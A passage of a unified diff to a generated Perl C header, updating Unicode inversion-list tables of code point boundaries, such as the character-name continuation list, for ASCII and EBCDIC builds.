+	0x9F,
+	0xA0,
+	0xA1,
+	0xA2,
+	0xAA,
+	0xAC,
+	0xAF,
+	0xC1,
+	0xCA,
+	0xCB,
+	0xD0,
+	0xD1,
+	0xDA,
+	0xDB,
+	0xE0,
+	0xE2,
+	0xEA,
+	0xEB,
+	0xF0,
+	0xFB,
+	0xFF,
+	0x100,
+	0x2C2,
+	0x2C6,
+	0x2D2,
+	0x2E0,
+	0x2E5,
+	0x2EC,
+	0x2ED,
+	0x2EE,
+	0x2EF,
+	0x370,
+	0x375,
+	0x376,
+	0x378,
+	0x37B,
+	0x37E,
+	0x37F,
+	0x380,
+	0x386,
+	0x387,
+	0x388,
+	0x38B,
+	0x38C,
+	0x38D,
+	0x38E,
+	0x3A2,
+	0x3A3,
+	0x3F6,
+	0x3F7,
+	0x482,
+	0x48A,
+	0x530,
+	0x531,
+	0x557,
+	0x559,
+	0x55A,
+	0x561,
+	0x588,
+	0x5D0,
+	0x5EB,
+	0x5F0,
+	0x5F3,
+	0x620,
+	0x64B,
+	0x66E,
+	0x670,
+	0x671,
+	0x6D4,
+	0x6D5,
+	0x6D6,
+	0x6E5,
+	0x6E7,
+	0x6EE,
+	0x6F0,
+	0x6FA,
+	0x6FD,
+	0x6FF,
+	0x700,
+	0x710,
+	0x711,
+	0x712,
+	0x730,
+	0x74D,
+	0x7A6,
+	0x7B1,
+	0x7B2,
+	0x7CA,
+	0x7EB,
+	0x7F4,
+	0x7F6,
+	0x7FA,
+	0x7FB,
+	0x800,
+	0x816,
+	0x81A,
+	0x81B,
+	0x824,
+	0x825,
+	0x828,
+	0x829,
+	0x840,
+	0x859,
+	0x860,
+	0x86B,
+	0x8A0,
+	0x8B5,
+	0x8B6,
+	0x8BE,
+	0x904,
+	0x93A,
+	0x93D,
+	0x93E,
+	0x950,
+	0x951,
+	0x958,
+	0x962,
+	0x971,
+	0x981,
+	0x985,
+	0x98D,
+	0x98F,
+	0x991,
+	0x993,
+	0x9A9,
+	0x9AA,
+	0x9B1,
+	0x9B2,
+	0x9B3,
+	0x9B6,
+	0x9BA,
+	0x9BD,
+	0x9BE,
+	0x9CE,
+	0x9CF,
+	0x9DC,
+	0x9DE,
+	0x9DF,
+	0x9E2,
+	0x9F0,
+	0x9F2,
+	0x9FC,
+	0x9FD,
+	0xA05,
+	0xA0B,
+	0xA0F,
+	0xA11,
+	0xA13,
+	0xA29,
+	0xA2A,
+	0xA31,
+	0xA32,
+	0xA34,
+	0xA35,
+	0xA37,
+	0xA38,
+	0xA3A,
+	0xA59,
+	0xA5D,
+	0xA5E,
+	0xA5F,
+	0xA72,
+	0xA75,
+	0xA85,
+	0xA8E,
+	0xA8F,
+	0xA92,
+	0xA93,
+	0xAA9,
+	0xAAA,
+	0xAB1,
+	0xAB2,
+	0xAB4,
+	0xAB5,
+	0xABA,
+	0xABD,
+	0xABE,
+	0xAD0,
+	0xAD1,
+	0xAE0,
+	0xAE2,
+	0xAF9,
+	0xAFA,
+	0xB05,
+	0xB0D,
+	0xB0F,
+	0xB11,
+	0xB13,
+	0xB29,
+	0xB2A,
+	0xB31,
+	0xB32,
+	0xB34,
+	0xB35,
+	0xB3A,
+	0xB3D,
+	0xB3E,
+	0xB5C,
+	0xB5E,
+	0xB5F,
+	0xB62,
+	0xB71,
+	0xB72,
+	0xB83,
+	0xB84,
+	0xB85,
+	0xB8B,
+	0xB8E,
+	0xB91,
+	0xB92,
+	0xB96,
+	0xB99,
+	0xB9B,
+	0xB9C,
+	0xB9D,
+	0xB9E,
+	0xBA0,
+	0xBA3,
+	0xBA5,
+	0xBA8,
+	0xBAB,
+	0xBAE,
+	0xBBA,
+	0xBD0,
+	0xBD1,
+	0xC05,
+	0xC0D,
+	0xC0E,
+	0xC11,
+	0xC12,
+	0xC29,
+	0xC2A,
+	0xC3A,
+	0xC3D,
+	0xC3E,
+	0xC58,
+	0xC5B,
+	0xC60,
+	0xC62,
+	0xC80,
+	0xC81,
+	0xC85,
+	0xC8D,
+	0xC8E,
+	0xC91,
+	0xC92,
+	0xCA9,
+	0xCAA,
+	0xCB4,
+	0xCB5,
+	0xCBA,
+	0xCBD,
+	0xCBE,
+	0xCDE,
+	0xCDF,
+	0xCE0,
+	0xCE2,
+	0xCF1,
+	0xCF3,
+	0xD05,
+	0xD0D,
+	0xD0E,
+	0xD11,
+	0xD12,
+	0xD3B,
+	0xD3D,
+	0xD3E,
+	0xD4E,
+	0xD4F,
+	0xD54,
+	0xD57,
+	0xD5F,
+	0xD62,
+	0xD7A,
+	0xD80,
+	0xD85,
+	0xD97,
+	0xD9A,
+	0xDB2,
+	0xDB3,
+	0xDBC,
+	0xDBD,
+	0xDBE,
+	0xDC0,
+	0xDC7,
+	0xE01,
+	0xE31,
+	0xE32,
+	0xE33,
+	0xE40,
+	0xE47,
+	0xE81,
+	0xE83,
+	0xE84,
+	0xE85,
+	0xE87,
+	0xE89,
+	0xE8A,
+	0xE8B,
+	0xE8D,
+	0xE8E,
+	0xE94,
+	0xE98,
+	0xE99,
+	0xEA0,
+	0xEA1,
+	0xEA4,
+	0xEA5,
+	0xEA6,
+	0xEA7,
+	0xEA8,
+	0xEAA,
+	0xEAC,
+	0xEAD,
+	0xEB1,
+	0xEB2,
+	0xEB3,
+	0xEBD,
+	0xEBE,
+	0xEC0,
+	0xEC5,
+	0xEC6,
+	0xEC7,
+	0xEDC,
+	0xEE0,
+	0xF00,
+	0xF01,
+	0xF40,
+	0xF48,
+	0xF49,
+	0xF6D,
+	0xF88,
+	0xF8D,
+	0x1000,
+	0x102B,
+	0x103F,
+	0x1040,
+	0x1050,
+	0x1056,
+	0x105A,
+	0x105E,
+	0x1061,
+	0x1062,
+	0x1065,
+	0x1067,
+	0x106E,
+	0x1071,
+	0x1075,
+	0x1082,
+	0x108E,
+	0x108F,
+	0x10A0,
+	0x10C6,
+	0x10C7,
+	0x10C8,
+	0x10CD,
+	0x10CE,
+	0x10D0,
+	0x10FB,
+	0x10FC,
+	0x1249,
+	0x124A,
+	0x124E,
+	0x1250,
+	0x1257,
+	0x1258,
+	0x1259,
+	0x125A,
+	0x125E,
+	0x1260,
+	0x1289,
+	0x128A,
+	0x128E,
+	0x1290,
+	0x12B1,
+	0x12B2,
+	0x12B6,
+	0x12B8,
+	0x12BF,
+	0x12C0,
+	0x12C1,
+	0x12C2,
+	0x12C6,
+	0x12C8,
+	0x12D7,
+	0x12D8,
+	0x1311,
+	0x1312,
+	0x1316,
+	0x1318,
+	0x135B,
+	0x1380,
+	0x1390,
+	0x13A0,
+	0x13F6,
+	0x13F8,
+	0x13FE,
+	0x1401,
+	0x166D,
+	0x166F,
+	0x1680,
+	0x1681,
+	0x169B,
+	0x16A0,
+	0x16EB,
+	0x16F1,
+	0x16F9,
+	0x1700,
+	0x170D,
+	0x170E,
+	0x1712,
+	0x1720,
+	0x1732,
+	0x1740,
+	0x1752,
+	0x1760,
+	0x176D,
+	0x176E,
+	0x1771,
+	0x1780,
+	0x17B4,
+	0x17D7,
+	0x17D8,
+	0x17DC,
+	0x17DD,
+	0x1820,
+	0x1878,
+	0x1880,
+	0x1885,
+	0x1887,
+	0x18A9,
+	0x18AA,
+	0x18AB,
+	0x18B0,
+	0x18F6,
+	0x1900,
+	0x191F,
+	0x1950,
+	0x196E,
+	0x1970,
+	0x1975,
+	0x1980,
+	0x19AC,
+	0x19B0,
+	0x19CA,
+	0x1A00,
+	0x1A17,
+	0x1A20,
+	0x1A55,
+	0x1AA7,
+	0x1AA8,
+	0x1B05,
+	0x1B34,
+	0x1B45,
+	0x1B4C,
+	0x1B83,
+	0x1BA1,
+	0x1BAE,
+	0x1BB0,
+	0x1BBA,
+	0x1BE6,
+	0x1C00,
+	0x1C24,
+	0x1C4D,
+	0x1C50,
+	0x1C5A,
+	0x1C7E,
+	0x1C80,
+	0x1C89,
+	0x1CE9,
+	0x1CED,
+	0x1CEE,
+	0x1CF2,
+	0x1CF5,
+	0x1CF7,
+	0x1D00,
+	0x1DC0,
+	0x1E00,
+	0x1F16,
+	0x1F18,
+	0x1F1E,
+	0x1F20,
+	0x1F46,
+	0x1F48,
+	0x1F4E,
+	0x1F50,
+	0x1F58,
+	0x1F59,
+	0x1F5A,
+	0x1F5B,
+	0x1F5C,
+	0x1F5D,
+	0x1F5E,
+	0x1F5F,
+	0x1F7E,
+	0x1F80,
+	0x1FB5,
+	0x1FB6,
+	0x1FBD,
+	0x1FBE,
+	0x1FBF,
+	0x1FC2,
+	0x1FC5,
+	0x1FC6,
+	0x1FCD,
+	0x1FD0,
+	0x1FD4,
+	0x1FD6,
+	0x1FDC,
+	0x1FE0,
+	0x1FED,
+	0x1FF2,
+	0x1FF5,
+	0x1FF6,
+	0x1FFD,
+	0x2071,
+	0x2072,
+	0x207F,
+	0x2080,
+	0x2090,
+	0x209D,
+	0x2102,
+	0x2103,
+	0x2107,
+	0x2108,
+	0x210A,
+	0x2114,
+	0x2115,
+	0x2116,
+	0x2119,
+	0x211E,
+	0x2124,
+	0x2125,
+	0x2126,
+	0x2127,
+	0x2128,
+	0x2129,
+	0x212A,
+	0x212E,
+	0x212F,
+	0x213A,
+	0x213C,
+	0x2140,
+	0x2145,
+	0x214A,
+	0x214E,
+	0x214F,
+	0x2183,
+	0x2185,
+	0x2C00,
+	0x2C2F,
+	0x2C30,
+	0x2C5F,
+	0x2C60,
+	0x2CE5,
+	0x2CEB,
+	0x2CEF,
+	0x2CF2,
+	0x2CF4,
+	0x2D00,
+	0x2D26,
+	0x2D27,
+	0x2D28,
+	0x2D2D,
+	0x2D2E,
+	0x2D30,
+	0x2D68,
+	0x2D6F,
+	0x2D70,
+	0x2D80,
+	0x2D97,
+	0x2DA0,
+	0x2DA7,
+	0x2DA8,
+	0x2DAF,
+	0x2DB0,
+	0x2DB7,
+	0x2DB8,
+	0x2DBF,
+	0x2DC0,
+	0x2DC7,
+	0x2DC8,
+	0x2DCF,
+	0x2DD0,
+	0x2DD7,
+	0x2DD8,
+	0x2DDF,
+	0x3005,
+	0x3007,
+	0x3031,
+	0x3036,
+	0x303B,
+	0x303D,
+	0x3041,
+	0x3097,
+	0x309D,
+	0x30A0,
+	0x30A1,
+	0x30FB,
+	0x30FC,
+	0x3100,
+	0x3105,
+	0x312F,
+	0x3131,
+	0x318F,
+	0x31A0,
+	0x31BB,
+	0x31F0,
+	0x3200,
+	0x3400,
+	0x4DB6,
+	0x4E00,
+	0x9FEB,
+	0xA000,
+	0xA48D,
+	0xA4D0,
+	0xA4FE,
+	0xA500,
+	0xA60D,
+	0xA610,
+	0xA620,
+	0xA62A,
+	0xA62C,
+	0xA640,
+	0xA66F,
+	0xA67F,
+	0xA69E,
+	0xA6A0,
+	0xA6E6,
+	0xA717,
+	0xA720,
+	0xA722,
+	0xA789,
+	0xA78B,
+	0xA7AF,
+	0xA7B0,
+	0xA7B8,
+	0xA7F7,
+	0xA802,
+	0xA803,
+	0xA806,
+	0xA807,
+	0xA80B,
+	0xA80C,
+	0xA823,
+	0xA840,
+	0xA874,
+	0xA882,
+	0xA8B4,
+	0xA8F2,
+	0xA8F8,
+	0xA8FB,
+	0xA8FC,
+	0xA8FD,
+	0xA8FE,
+	0xA90A,
+	0xA926,
+	0xA930,
+	0xA947,
+	0xA960,
+	0xA97D,
+	0xA984,
+	0xA9B3,
+	0xA9CF,
+	0xA9D0,
+	0xA9E0,
+	0xA9E5,
+	0xA9E6,
+	0xA9F0,
+	0xA9FA,
+	0xA9FF,
+	0xAA00,
+	0xAA29,
+	0xAA40,
+	0xAA43,
+	0xAA44,
+	0xAA4C,
+	0xAA60,
+	0xAA77,
+	0xAA7A,
+	0xAA7B,
+	0xAA7E,
+	0xAAB0,
+	0xAAB1,
+	0xAAB2,
+	0xAAB5,
+	0xAAB7,
+	0xAAB9,
+	0xAABE,
+	0xAAC0,
+	0xAAC1,
+	0xAAC2,
+	0xAAC3,
+	0xAADB,
+	0xAADE,
+	0xAAE0,
+	0xAAEB,
+	0xAAF2,
+	0xAAF5,
+	0xAB01,
+	0xAB07,
+	0xAB09,
+	0xAB0F,
+	0xAB11,
+	0xAB17,
+	0xAB20,
+	0xAB27,
+	0xAB28,
+	0xAB2F,
+	0xAB30,
+	0xAB5B,
+	0xAB5C,
+	0xAB66,
+	0xAB70,
+	0xABE3,
+	0xAC00,
+	0xD7A4,
+	0xD7B0,
+	0xD7C7,
+	0xD7CB,
+	0xD7FC,
+	0xF900,
+	0xFA6E,
+	0xFA70,
+	0xFADA,
+	0xFB00,
+	0xFB07,
+	0xFB13,
+	0xFB18,
+	0xFB1D,
+	0xFB1E,
+	0xFB1F,
+	0xFB29,
+	0xFB2A,
+	0xFB37,
+	0xFB38,
+	0xFB3D,
+	0xFB3E,
+	0xFB3F,
+	0xFB40,
+	0xFB42,
+	0xFB43,
+	0xFB45,
+	0xFB46,
+	0xFBB2,
+	0xFBD3,
+	0xFC5E,
+	0xFC64,
+	0xFD3E,
+	0xFD50,
+	0xFD90,
+	0xFD92,
+	0xFDC8,
+	0xFDF0,
+	0xFDFA,
+	0xFE71,
+	0xFE72,
+	0xFE73,
+	0xFE74,
+	0xFE77,
+	0xFE78,
+	0xFE79,
+	0xFE7A,
+	0xFE7B,
+	0xFE7C,
+	0xFE7D,
+	0xFE7E,
+	0xFE7F,
+	0xFEFD,
+	0xFF21,
+	0xFF3B,
+	0xFF41,
+	0xFF5B,
+	0xFF66,
+	0xFF9E,
+	0xFFA0,
+	0xFFBF,
+	0xFFC2,
+	0xFFC8,
+	0xFFCA,
+	0xFFD0,
+	0xFFD2,
+	0xFFD8,
+	0xFFDA,
+	0xFFDD,
+	0x10000,
+	0x1000C,
+	0x1000D,
+	0x10027,
+	0x10028,
+	0x1003B,
+	0x1003C,
+	0x1003E,
+	0x1003F,
+	0x1004E,
+	0x10050,
+	0x1005E,
+	0x10080,
+	0x100FB,
+	0x10280,
+	0x1029D,
+	0x102A0,
+	0x102D1,
+	0x10300,
+	0x10320,
+	0x1032D,
+	0x10341,
+	0x10342,
+	0x1034A,
+	0x10350,
+	0x10376,
+	0x10380,
+	0x1039E,
+	0x103A0,
+	0x103C4,
+	0x103C8,
+	0x103D0,
+	0x10400,
+	0x1049E,
+	0x104B0,
+	0x104D4,
+	0x104D8,
+	0x104FC,
+	0x10500,
+	0x10528,
+	0x10530,
+	0x10564,
+	0x10600,
+	0x10737,
+	0x10740,
+	0x10756,
+	0x10760,
+	0x10768,
+	0x10800,
+	0x10806,
+	0x10808,
+	0x10809,
+	0x1080A,
+	0x10836,
+	0x10837,
+	0x10839,
+	0x1083C,
+	0x1083D,
+	0x1083F,
+	0x10856,
+	0x10860,
+	0x10877,
+	0x10880,
+	0x1089F,
+	0x108E0,
+	0x108F3,
+	0x108F4,
+	0x108F6,
+	0x10900,
+	0x10916,
+	0x10920,
+	0x1093A,
+	0x10980,
+	0x109B8,
+	0x109BE,
+	0x109C0,
+	0x10A00,
+	0x10A01,
+	0x10A10,
+	0x10A14,
+	0x10A15,
+	0x10A18,
+	0x10A19,
+	0x10A34,
+	0x10A60,
+	0x10A7D,
+	0x10A80,
+	0x10A9D,
+	0x10AC0,
+	0x10AC8,
+	0x10AC9,
+	0x10AE5,
+	0x10B00,
+	0x10B36,
+	0x10B40,
+	0x10B56,
+	0x10B60,
+	0x10B73,
+	0x10B80,
+	0x10B92,
+	0x10C00,
+	0x10C49,
+	0x10C80,
+	0x10CB3,
+	0x10CC0,
+	0x10CF3,
+	0x11003,
+	0x11038,
+	0x11083,
+	0x110B0,
+	0x110D0,
+	0x110E9,
+	0x11103,
+	0x11127,
+	0x11150,
+	0x11173,
+	0x11176,
+	0x11177,
+	0x11183,
+	0x111B3,
+	0x111C1,
+	0x111C5,
+	0x111DA,
+	0x111DB,
+	0x111DC,
+	0x111DD,
+	0x11200,
+	0x11212,
+	0x11213,
+	0x1122C,
+	0x11280,
+	0x11287,
+	0x11288,
+	0x11289,
+	0x1128A,
+	0x1128E,
+	0x1128F,
+	0x1129E,
+	0x1129F,
+	0x112A9,
+	0x112B0,
+	0x112DF,
+	0x11305,
+	0x1130D,
+	0x1130F,
+	0x11311,
+	0x11313,
+	0x11329,
+	0x1132A,
+	0x11331,
+	0x11332,
+	0x11334,
+	0x11335,
+	0x1133A,
+	0x1133D,
+	0x1133E,
+	0x11350,
+	0x11351,
+	0x1135D,
+	0x11362,
+	0x11400,
+	0x11435,
+	0x11447,
+	0x1144B,
+	0x11480,
+	0x114B0,
+	0x114C4,
+	0x114C6,
+	0x114C7,
+	0x114C8,
+	0x11580,
+	0x115AF,
+	0x115D8,
+	0x115DC,
+	0x11600,
+	0x11630,
+	0x11644,
+	0x11645,
+	0x11680,
+	0x116AB,
+	0x11700,
+	0x1171A,
+	0x118A0,
+	0x118E0,
+	0x118FF,
+	0x11900,
+	0x11A00,
+	0x11A01,
+	0x11A0B,
+	0x11A33,
+	0x11A3A,
+	0x11A3B,
+	0x11A50,
+	0x11A51,
+	0x11A5C,
+	0x11A84,
+	0x11A86,
+	0x11A8A,
+	0x11AC0,
+	0x11AF9,
+	0x11C00,
+	0x11C09,
+	0x11C0A,
+	0x11C2F,
+	0x11C40,
+	0x11C41,
+	0x11C72,
+	0x11C90,
+	0x11D00,
+	0x11D07,
+	0x11D08,
+	0x11D0A,
+	0x11D0B,
+	0x11D31,
+	0x11D46,
+	0x11D47,
+	0x12000,
+	0x1239A,
+	0x12480,
+	0x12544,
+	0x13000,
+	0x1342F,
+	0x14400,
+	0x14647,
+	0x16800,
+	0x16A39,
+	0x16A40,
+	0x16A5F,
+	0x16AD0,
+	0x16AEE,
+	0x16B00,
+	0x16B30,
+	0x16B40,
+	0x16B44,
+	0x16B63,
+	0x16B78,
+	0x16B7D,
+	0x16B90,
+	0x16F00,
+	0x16F45,
+	0x16F50,
+	0x16F51,
+	0x16F93,
+	0x16FA0,
+	0x16FE0,
+	0x16FE2,
+	0x17000,
+	0x187ED,
+	0x18800,
+	0x18AF3,
+	0x1B000,
+	0x1B11F,
+	0x1B170,
+	0x1B2FC,
+	0x1BC00,
+	0x1BC6B,
+	0x1BC70,
+	0x1BC7D,
+	0x1BC80,
+	0x1BC89,
+	0x1BC90,
+	0x1BC9A,
+	0x1D400,
+	0x1D455,
+	0x1D456,
+	0x1D49D,
+	0x1D49E,
+	0x1D4A0,
+	0x1D4A2,
+	0x1D4A3,
+	0x1D4A5,
+	0x1D4A7,
+	0x1D4A9,
+	0x1D4AD,
+	0x1D4AE,
+	0x1D4BA,
+	0x1D4BB,
+	0x1D4BC,
+	0x1D4BD,
+	0x1D4C4,
+	0x1D4C5,
+	0x1D506,
+	0x1D507,
+	0x1D50B,
+	0x1D50D,
+	0x1D515,
+	0x1D516,
+	0x1D51D,
+	0x1D51E,
+	0x1D53A,
+	0x1D53B,
+	0x1D53F,
+	0x1D540,
+	0x1D545,
+	0x1D546,
+	0x1D547,
+	0x1D54A,
+	0x1D551,
+	0x1D552,
+	0x1D6A6,
+	0x1D6A8,
+	0x1D6C1,
+	0x1D6C2,
+	0x1D6DB,
+	0x1D6DC,
+	0x1D6FB,
+	0x1D6FC,
+	0x1D715,
+	0x1D716,
+	0x1D735,
+	0x1D736,
+	0x1D74F,
+	0x1D750,
+	0x1D76F,
+	0x1D770,
+	0x1D789,
+	0x1D78A,
+	0x1D7A9,
+	0x1D7AA,
+	0x1D7C3,
+	0x1D7C4,
+	0x1D7CC,
+	0x1E800,
+	0x1E8C5,
+	0x1E900,
+	0x1E944,
+	0x1EE00,
+	0x1EE04,
+	0x1EE05,
+	0x1EE20,
+	0x1EE21,
+	0x1EE23,
+	0x1EE24,
+	0x1EE25,
+	0x1EE27,
+	0x1EE28,
+	0x1EE29,
+	0x1EE33,
+	0x1EE34,
+	0x1EE38,
+	0x1EE39,
+	0x1EE3A,
+	0x1EE3B,
+	0x1EE3C,
+	0x1EE42,
+	0x1EE43,
+	0x1EE47,
+	0x1EE48,
+	0x1EE49,
+	0x1EE4A,
+	0x1EE4B,
+	0x1EE4C,
+	0x1EE4D,
+	0x1EE50,
+	0x1EE51,
+	0x1EE53,
+	0x1EE54,
+	0x1EE55,
+	0x1EE57,
+	0x1EE58,
+	0x1EE59,
+	0x1EE5A,
+	0x1EE5B,
+	0x1EE5C,
+	0x1EE5D,
+	0x1EE5E,
+	0x1EE5F,
+	0x1EE60,
+	0x1EE61,
+	0x1EE63,
+	0x1EE64,
+	0x1EE65,
+	0x1EE67,
+	0x1EE6B,
+	0x1EE6C,
+	0x1EE73,
+	0x1EE74,
+	0x1EE78,
+	0x1EE79,
+	0x1EE7D,
+	0x1EE7E,
+	0x1EE7F,
+	0x1EE80,
+	0x1EE8A,
+	0x1EE8B,
+	0x1EE9C,
+	0x1EEA1,
+	0x1EEA4,
+	0x1EEA5,
+	0x1EEAA,
+	0x1EEAB,
+	0x1EEBC,
+	0x20000,
+	0x2A6D7,
+	0x2A700,
+	0x2B735,
+	0x2B740,
+	0x2B81E,
+	0x2B820,
+	0x2CEA2,
+	0x2CEB0,
+	0x2EBE1,
+	0x2F800,
+	0x2FA1E
+};
+
+#   endif	/* EBCDIC 037 */
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV PL__PERL_CHARNAME_CONTINUE_invlist[] = { /* for ASCII/Latin1 */
+	1399,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x20,
+	0x21,
+	0x28,
+	0x2A,
+	0x2D,
+	0x2E,
+	0x30,
+	0x3A,
+	0x41,
+	0x5B,
+	0x5F,
+	0x60,
+	0x61,
+	0x7B,
+	0xAA,
+	0xAB,
+	0xB5,
+	0xB6,
+	0xBA,
+	0xBB,
+	0xC0,
+	0xD7,
+	0xD8,
+	0xF7,
+	0xF8,
+	0x2C2,
+	0x2C6,
+	0x2D2,
+	0x2E0,
+	0x2E5,
+	0x2EC,
+	0x2ED,
+	0x2EE,
+	0x2EF,
 	0x300,
 	0x375,
 	0x376,
@@ -36954,6 +157383,8 @@
 	0x82E,
 	0x840,
 	0x85C,
+	0x860,
+	0x86B,
 	0x8A0,
 	0x8B5,
 	0x8B6,
@@ -36992,6 +157423,8 @@
 	0x9E4,
 	0x9E6,
 	0x9F2,
+	0x9FC,
+	0x9FD,
 	0xA01,
 	0xA04,
 	0xA05,
@@ -37051,7 +157484,7 @@
 	0xAE6,
 	0xAF0,
 	0xAF9,
-	0xAFA,
+	0xB00,
 	0xB01,
 	0xB04,
 	0xB05,
@@ -37166,7 +157599,7 @@
 	0xCF0,
 	0xCF1,
 	0xCF3,
-	0xD01,
+	0xD00,
 	0xD04,
 	0xD05,
 	0xD0D,
@@ -37173,8 +157606,6 @@
 	0xD0E,
 	0xD11,
 	0xD12,
-	0xD3B,
-	0xD3D,
 	0xD45,
 	0xD46,
 	0xD49,
@@ -37421,11 +157852,9 @@
 	0x1CD0,
 	0x1CD3,
 	0x1CD4,
-	0x1CF7,
-	0x1CF8,
 	0x1CFA,
 	0x1D00,
-	0x1DF6,
+	0x1DFA,
 	0x1DFB,
 	0x1F16,
 	0x1F18,
@@ -37565,7 +157994,7 @@
 	0x30FC,
 	0x3100,
 	0x3105,
-	0x312E,
+	0x312F,
 	0x3131,
 	0x318F,
 	0x31A0,
@@ -37575,7 +158004,7 @@
 	0x3400,
 	0x4DB6,
 	0x4E00,
-	0x9FD6,
+	0x9FEB,
 	0xA000,
 	0xA48D,
 	0xA4D0,
@@ -37764,7 +158193,7 @@
 	0x102E1,
 	0x10300,
 	0x10320,
-	0x10330,
+	0x1032D,
 	0x1034B,
 	0x10350,
 	0x1037B,
@@ -37970,6 +158399,14 @@
 	0x118EA,
 	0x118FF,
 	0x11900,
+	0x11A00,
+	0x11A3F,
+	0x11A47,
+	0x11A48,
+	0x11A50,
+	0x11A84,
+	0x11A86,
+	0x11A9A,
 	0x11AC0,
 	0x11AF9,
 	0x11C00,
@@ -37986,6 +158423,20 @@
 	0x11CA8,
 	0x11CA9,
 	0x11CB7,
+	0x11D00,
+	0x11D07,
+	0x11D08,
+	0x11D0A,
+	0x11D0B,
+	0x11D37,
+	0x11D3A,
+	0x11D3B,
+	0x11D3C,
+	0x11D3E,
+	0x11D3F,
+	0x11D48,
+	0x11D50,
+	0x11D5A,
 	0x12000,
 	0x1239A,
 	0x12400,
@@ -38023,13 +158474,15 @@
 	0x16F8F,
 	0x16FA0,
 	0x16FE0,
-	0x16FE1,
+	0x16FE2,
 	0x17000,
 	0x187ED,
 	0x18800,
 	0x18AF3,
 	0x1B000,
-	0x1B002,
+	0x1B11F,
+	0x1B170,
+	0x1B2FC,
 	0x1BC00,
 	0x1BC6B,
 	0x1BC70,
@@ -38218,6 +158671,8 @@
 	0x2B81E,
 	0x2B820,
 	0x2CEA2,
+	0x2CEB0,
+	0x2EBE1,
 	0x2F800,
 	0x2FA1E,
 	0xE0100,
@@ -38224,16 +158679,31 @@
 	0xE01F0
 };
 
-static const UV _Perl_IDStart_invlist[] = { /* for EBCDIC 1047 */
-	1187,	/* Number of elements */
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL__PERL_CHARNAME_CONTINUE_invlist[] = { /* for EBCDIC 1047 */
+	1425,	/* Number of elements */
 	148565664, /* Version and data structure type */
 	1,	/* 0 if the list starts at 0;
 		   1 if it starts at the element beyond 0 */
 	0x0,
+	0x40,
+	0x41,
 	0x42,
 	0x4A,
+	0x4D,
+	0x4E,
 	0x51,
 	0x5A,
+	0x5D,
+	0x5E,
+	0x60,
+	0x61,
 	0x62,
 	0x6A,
 	0x6D,
@@ -38269,7 +158739,7 @@
 	0xE2,
 	0xEA,
 	0xEB,
-	0xF0,
+	0xFA,
 	0xFB,
 	0xFF,
 	0x100,
@@ -38282,7 +158752,7 @@
 	0x2ED,
 	0x2EE,
 	0x2EF,
-	0x370,
+	0x300,
 	0x375,
 	0x376,
 	0x378,
@@ -38302,6 +158772,8 @@
 	0x3F6,
 	0x3F7,
 	0x482,
+	0x483,
+	0x488,
 	0x48A,
 	0x530,
 	0x531,
@@ -38310,64 +158782,60 @@
 	0x55A,
 	0x561,
 	0x588,
+	0x591,
+	0x5BE,
+	0x5BF,
+	0x5C0,
+	0x5C1,
+	0x5C3,
+	0x5C4,
+	0x5C6,
+	0x5C7,
+	0x5C8,
 	0x5D0,
 	0x5EB,
 	0x5F0,
 	0x5F3,
+	0x610,
+	0x61B,
 	0x620,
-	0x64B,
+	0x66A,
 	0x66E,
-	0x670,
-	0x671,
 	0x6D4,
 	0x6D5,
-	0x6D6,
-	0x6E5,
-	0x6E7,
-	0x6EE,
-	0x6F0,
-	0x6FA,
+	0x6DD,
+	0x6DF,
+	0x6E9,
+	0x6EA,
 	0x6FD,
 	0x6FF,
 	0x700,
 	0x710,
-	0x711,
-	0x712,
-	0x730,
+	0x74B,
 	0x74D,
-	0x7A6,
-	0x7B1,
 	0x7B2,
-	0x7CA,
-	0x7EB,
-	0x7F4,
+	0x7C0,
 	0x7F6,
 	0x7FA,
 	0x7FB,
 	0x800,
-	0x816,
-	0x81A,
-	0x81B,
-	0x824,
-	0x825,
-	0x828,
-	0x829,
+	0x82E,
 	0x840,
-	0x859,
+	0x85C,
+	0x860,
+	0x86B,
 	0x8A0,
 	0x8B5,
 	0x8B6,
 	0x8BE,
-	0x904,
-	0x93A,
-	0x93D,
-	0x93E,
-	0x950,
-	0x951,
-	0x958,
-	0x962,
+	0x8D4,
+	0x8E2,
+	0x8E3,
+	0x964,
+	0x966,
+	0x970,
 	0x971,
-	0x981,
+	0x984,
 	0x985,
 	0x98D,
 	0x98F,
@@ -38380,16 +158848,24 @@
 	0x9B3,
 	0x9B6,
 	0x9BA,
-	0x9BD,
-	0x9BE,
-	0x9CE,
+	0x9BC,
+	0x9C5,
+	0x9C7,
+	0x9C9,
+	0x9CB,
 	0x9CF,
+	0x9D7,
+	0x9D8,
 	0x9DC,
 	0x9DE,
 	0x9DF,
-	0x9E2,
-	0x9F0,
+	0x9E4,
+	0x9E6,
 	0x9F2,
+	0x9FC,
+	0x9FD,
+	0xA01,
+	0xA04,
 	0xA05,
 	0xA0B,
 	0xA0F,
@@ -38404,12 +158880,24 @@
 	0xA37,
 	0xA38,
 	0xA3A,
+	0xA3C,
+	0xA3D,
+	0xA3E,
+	0xA43,
+	0xA47,
+	0xA49,
+	0xA4B,
+	0xA4E,
+	0xA51,
+	0xA52,
 	0xA59,
 	0xA5D,
 	0xA5E,
 	0xA5F,
-	0xA72,
-	0xA75,
+	0xA66,
+	0xA76,
+	0xA81,
+	0xA84,
 	0xA85,
 	0xA8E,
 	0xA8F,
@@ -38422,14 +158910,22 @@
 	0xAB4,
 	0xAB5,
 	0xABA,
-	0xABD,
-	0xABE,
+	0xABC,
+	0xAC6,
+	0xAC7,
+	0xACA,
+	0xACB,
+	0xACE,
 	0xAD0,
 	0xAD1,
 	0xAE0,
-	0xAE2,
+	0xAE4,
+	0xAE6,
+	0xAF0,
 	0xAF9,
-	0xAFA,
+	0xB00,
+	0xB01,
+	0xB04,
 	0xB05,
 	0xB0D,
 	0xB0F,
@@ -38442,15 +158938,23 @@
 	0xB34,
 	0xB35,
 	0xB3A,
-	0xB3D,
-	0xB3E,
+	0xB3C,
+	0xB45,
+	0xB47,
+	0xB49,
+	0xB4B,
+	0xB4E,
+	0xB56,
+	0xB58,
 	0xB5C,
 	0xB5E,
 	0xB5F,
-	0xB62,
